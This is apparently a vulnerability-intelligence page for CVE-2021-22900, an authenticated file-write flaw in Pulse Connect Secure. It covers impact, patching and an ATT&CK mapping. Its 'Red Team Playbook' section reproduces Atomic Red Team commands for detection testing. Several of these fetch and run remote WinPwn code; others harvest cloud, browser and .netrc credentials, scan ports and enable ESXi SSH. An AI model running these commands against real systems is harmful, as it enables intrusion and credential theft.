CVE-2021-22900

HIGH CISA KEV Pub 27/05 Upd 21/10

Overview

This vulnerability is an unrestricted file upload flaw rooted in insufficient validation of archive contents within the administrator web interface of Pulse Connect Secure. Specifically, the affected component improperly handles multiple file uploads embedded in maliciously crafted archive files, allowing authenticated administrators to write arbitrary files on the system. The flaw arises from inadequate sanitization and verification of archive payloads prior to extraction and storage.

Vulnerability Description

A vulnerability allowed multiple unrestricted uploads in Pulse Connect Secure before 9.1R11.4 that could lead to an authenticated administrator to perform a file write via a maliciously crafted archive upload in the administrator web interface.

Impact

An attacker with authenticated administrator credentials can exploit this vulnerability to write arbitrary files on the Pulse Connect Secure server, potentially leading to remote code execution or persistent system compromise. This capability enables the attacker to modify system configurations, implant backdoors, or disrupt service operations. The prerequisite is possession of valid administrator-level access, which may be obtained through credential compromise or insider threat. Successful exploitation can result in full system compromise and lateral movement within the affected network environment.

Solution

Ivanti released security advisory SA44784 addressing this issue and recommends upgrading Pulse Connect Secure to version 9.1R11.4 or later. Administrators should apply the provided patches as detailed in the advisory at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/. No specific workarounds are noted; timely patching is the primary mitigation step.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Pulse Connect Secure arises from improper handling of file uploads, specifically allowing multiple unrestricted uploads through the administrator web interface. This flaw permits an authenticated administrator to upload maliciously crafted archive files, which could lead to unauthorized file writes on the server. The lack of adequate validation and restrictions on the types of files that can be uploaded creates a significant security risk, as attackers could exploit this weakness to execute arbitrary code or manipulate server files, potentially compromising the entire system.

Exploitation of this vulnerability can occur through various attack vectors. An attacker with administrative access could leverage this flaw to upload a specially crafted archive file containing malicious scripts or executables. Once uploaded, these files could be executed on the server, allowing the attacker to gain control over the system, exfiltrate sensitive data, or disrupt services. Additionally, if the attacker can escalate privileges or gain access to other administrative accounts, the impact could be even more severe, leading to a complete compromise of the network environment.

The real-world implications of this vulnerability are significant, particularly for organizations that rely on Pulse Connect Secure for secure remote access. The potential for unauthorized file writes could lead to data breaches, loss of sensitive information, and disruption of critical services. Moreover, the exploitation of this vulnerability could result in compliance violations, particularly for organizations in regulated industries such as finance and healthcare. The reputational damage from a successful attack could also lead to a loss of customer trust and confidence, further exacerbating the business risks associated with this vulnerability.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and penetration testing can help identify potential weaknesses in the system, while monitoring for unusual file upload patterns can provide early warning signs of exploitation attempts. Additionally, organizations should enforce strict access controls, ensuring that only trusted administrators have the ability to upload files. Implementing file type restrictions and validating the contents of uploaded files can further reduce the risk of exploitation. Keeping the Pulse Connect Secure software up to date with the latest security patches is essential to protect against known vulnerabilities.

In conclusion, the vulnerability in Pulse Connect Secure represents a serious threat to organizations that utilize this product for secure remote access. The ability for authenticated administrators to perform unrestricted file uploads without adequate validation poses significant risks, including potential data breaches and operational disruptions. By adopting proactive detection and mitigation strategies, organizations can better safeguard their systems against exploitation and minimize the associated business risks.




CSURFACE threat intelligence has identified a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-22900, reflecting a significant increase in the likelihood of exploitation attempts. The EPSS score has surged by over two hundred percent, indicating that this vulnerability is gaining traction within attacker communities. Although no new exploit techniques or ransomware affiliations have been confirmed, the rapid upward trend in exploitation probability signals heightened adversary interest and potential preparatory activity. This development elevates the urgency for defenders to reassess their exposure, as the increased EPSS score correlates with a greater risk of targeted attacks leveraging unrestricted file upload capabilities in Pulse Connect Secure. Consequently, the threat level associated with this vulnerability should be considered more severe than previously assessed, underscoring the necessity for vigilant monitoring and timely response to emerging exploitation indicators.

Affected Products (41)

Vendor Product Version CPE
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r1.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r2.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r2.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r4.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r4.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r5.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r6.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:-:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r10.0:*:*:*:*:*:*
+21 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

File Upload Vulnerabilities
100% file_upload
Remote Code Execution
62% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
40%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
30%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-22900
kb.pulsesecure.net
GitHub CVE x_refsource_MISC
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/?kA23Z000000boUWSAY
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22900